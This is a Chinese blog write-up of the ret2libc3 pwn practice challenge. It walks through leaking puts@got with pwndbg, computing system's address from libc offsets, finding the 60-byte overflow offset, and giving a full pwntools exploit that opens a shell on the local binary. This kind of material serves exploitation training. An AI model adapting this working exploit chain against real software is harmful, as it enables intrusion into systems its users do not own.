PWN

ret2libc3

shilinkun
2022-05-24 / 0 评论 / 286 阅读 / 正在检测是否收录...
博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935

这一次我们来对更难的栈溢出ret2libc3进行讲解

首先还是使用checksec检查下

[*] '/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

同样是栈不可执行,前面的ret2libc的思路大家也都知道,其实就是找到systembin/sh,那么这里也一眼,但是我们从IDA中看到,没有system函数,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]
  // 漏洞处,dest的大小和src大小不一致
  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

那这怎么办,不慌,我们可以看到它提供给我们一个so文件。那就是我们最复杂的栈溢出漏洞,借助so文件进行system函数地址寻找,这里要有一点gotplt的知识,具体的讲解如下地址。首先我们要知道的是,在so文件中,假如我们在程序中的got中找到的puts函数地址为a,其对应的so文件地址为b,同时我们知道so文件中,system的地址为c,那么我们就可以找到systemgot中的地址为x-a=c-bx=c-b+a

got中的地址所指向的值就是so文件中的函数具体地址,因此我们使用提供的See_something函数得到,下面具体来说下如何gdb

首先是在read(0, &buf, 0xAu);下断点,那怎么下断点呢,我们要知道这一行的地址,选中main函数代码->右键->copy to assembly。得到如下代码

.text:080485D2 ; 14:   read(0, &buf, 0xAu);
.text:080485D2                 mov     dword ptr [esp+8], 0Ah ; base
.text:080485DA                 lea     eax, [esp+120h+buf]
.text:080485E1                 mov     [esp+4], eax    ; endptr
.text:080485E5                 mov     dword ptr [esp], 0 ; fd
.text:080485EC                 call    _read

于是下断点b *0x080485d2

Breakpoint 1 at 0x80485d2
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3 
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :
Breakpoint 1, 0x080485d2 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 EBP  0xffffd148 ◂— 0x0
 ESP  0xffffd020 —▸ 0xf7fb5d20 (_IO_2_1_stdout_) ◂— 0xfbad2a84
 EIP  0x80485d2 (main+85) ◂— mov    dword ptr [esp + 8], 0xa
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
 ► 0x80485d2 <main+85>     mov    dword ptr [esp + 8], 0xa
   0x80485da <main+93>     lea    eax, [esp + 0x112]
   0x80485e1 <main+100>    mov    dword ptr [esp + 4], eax
   0x80485e5 <main+104>    mov    dword ptr [esp], 0
   0x80485ec <main+111>    call   read@plt <read@plt>
 
   0x80485f1 <main+116>    lea    eax, [esp + 0x112]
   0x80485f8 <main+123>    mov    dword ptr [esp], eax
   0x80485fb <main+126>    call   strtol@plt <strtol@plt>
 
   0x8048600 <main+131>    mov    dword ptr [esp + 0x11c], eax
   0x8048607 <main+138>    mov    eax, dword ptr [esp + 0x11c]
   0x804860e <main+145>    mov    dword ptr [esp], eax
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd020 —▸ 0xf7fb5d20 (_IO_2_1_stdout_) ◂— 0xfbad2a84
01:0004│      0xffffd024 —▸ 0xffffd070 ◂— 0x0
02:0008│      0xffffd028 ◂— 0x3
03:000c│      0xffffd02c ◂— 0x0
04:0010│      0xffffd030 —▸ 0xf7ffd000 ◂— 0x2bf24
05:0014│      0xffffd034 —▸ 0xf7ddc76c ◂— 0x72647800
06:0018│      0xffffd038 —▸ 0xf7dd290c ◂— 0x0
07:001c│      0xffffd03c —▸ 0x80482c7 ◂— pop    edi /* '__libc_start_main' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
 ► f 0  80485d2 main+85
   f 1 f7de9ee5 __libc_start_main+245

此时我们看下got

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 8
 
[0x804a00c] read@GLIBC_2.0 -> 0x80483b6 (read@plt+6) ◂— push   0 /* 'h' */
[0x804a010] printf@GLIBC_2.0 -> 0xf7e1f340 (printf) ◂— endbr32 
[0x804a014] fflush@GLIBC_2.0 -> 0xf7e3aad0 (fflush) ◂— endbr32 
[0x804a018] strcpy@GLIBC_2.0 -> 0x80483e6 (strcpy@plt+6) ◂— push   0x18
[0x804a01c] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32 
[0x804a020] __gmon_start__ -> 0x8048406 (__gmon_start__@plt+6) ◂— push   0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32 
[0x804a028] strtol@GLIBC_2.0 -> 0x8048426 (strtol@plt+6) ◂— push   0x38 /* 'h8' */

可以看到0xf开头的是已经被地址计算后的,但具体的值每一次都不一样,因为会地址随机化,0x8开头的是还没有使用过该函数,因此地址还没计算出来

我们首先是要给程序一个地址,然后让他给我们该地址对应的地方的值,因此我们给他puts@got的地址0x804a01c,但是程序使用了strtol(&buf, v3, v4),因此我们要转换成10进制134520860,然后一路执行完see_something,结果如下

The content of the address : 0xf7e3ccd0

所以得出以下表

  • puts_libc_address:0xf7e3ccd0
  • system_libc_symbols:通过分析libc文件获得
  • puts_libc_symbols:通过分析libc文件获得

因此就可以得到system_libc_address

接下来就是栈溢出的环节,计算要偏移多远,我们下断点在print_message,然后输入值

pwndbg> b Print_message
Breakpoint 1 at 0x8048556
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3 
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :134520860
The content of the address : 0xf7e3ccd0
Leave some message for me :AAAAAAAA

注意我们的栈溢出发生在strcpy,因此需要执行过这句

──────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
   0x8048556 <Print_message+6>     mov    eax, dword ptr [ebp + 8]
   0x8048559 <Print_message+9>     mov    dword ptr [esp + 4], eax
   0x804855d <Print_message+13>    lea    eax, [ebp - 0x38]
   0x8048560 <Print_message+16>    mov    dword ptr [esp], eax
   0x8048563 <Print_message+19>    call   strcpy@plt <strcpy@plt>
 
 ► 0x8048568 <Print_message+24>    lea    eax, [ebp - 0x38]
   0x804856b <Print_message+27>    mov    dword ptr [esp + 4], eax
   0x804856f <Print_message+31>    mov    dword ptr [esp], 0x8048721
   0x8048576 <Print_message+38>    call   printf@plt <printf@plt>
 
   0x804857b <Print_message+43>    leave  
   0x804857c <Print_message+44>    ret 

此时的栈为

pwndbg> stack 35
00:0000│ esp    0xffffcfd0 —▸ 0xffffcfe0 ◂— 0x41414141 ('AAAA')
01:0004│        0xffffcfd4 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')
02:0008│        0xffffcfd8 —▸ 0xffffd018 —▸ 0xffffd148 ◂— 0x0
03:000c│        0xffffcfdc —▸ 0xf7e3ab54 (fflush+132) ◂— add    esp, 0x10
04:0010│ eax    0xffffcfe0 ◂— 0x41414141 ('AAAA')
... ↓
06:0018│        0xffffcfe8 ◂— 0x82c7f70a
07:001c│        0xffffcfec ◂— 0xbedc0804
08:0020│        0xffffcff0 ◂— 0x4e2ef7dd
09:0024│        0xffffcff4 ◂— 0xd070f63d
0a:0028│        0xffffcff8 ◂— 0xea71ffff
0b:002c│ edx-2  0xffffcffc ◂— 0xd10407b1
0c:0030│        0xffffd000 ◂— 0xb3e0ffff
0d:0034│        0xffffd004 ◂— 0x800f7fc
0e:0038│        0xffffd008 —▸ 0xffffd024 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')
0f:003c│        0xffffd00c ◂— 0x0
10:0040│        0xffffd010 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│        0xffffd014 ◂— 0x0
12:0048│ ebp    0xffffd018 —▸ 0xffffd148 ◂— 0x0
13:004c│        0xffffd01c —▸ 0x8048657 (main+218) ◂— mov    dword ptr [esp], 0x80487d5
14:0050│        0xffffd020 —▸ 0xffffd032 ◂— 0x41414141 ('AAAA')

因此溢出的距离为0xffffd01c-0xffffcfe0=60sh的地址为

>>> from pwn import *
>>> elf = ELF('./ret2libc3')
[*] '/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> next(elf.search(b"sh"))
134513310

那么最终的exp.py如下

from pwn import *

elf = ELF("./ret2libc3")
r = process("./ret2libc3")
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")

r.recvuntil("Give me an address (in dec) :")
puts_gots_address = elf.got["puts"]
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)

offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
offset = 60

shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,next(elf.search(b"sh")))
r.sendline(shellcode)
r.interactive()
0

评论 (0)

取消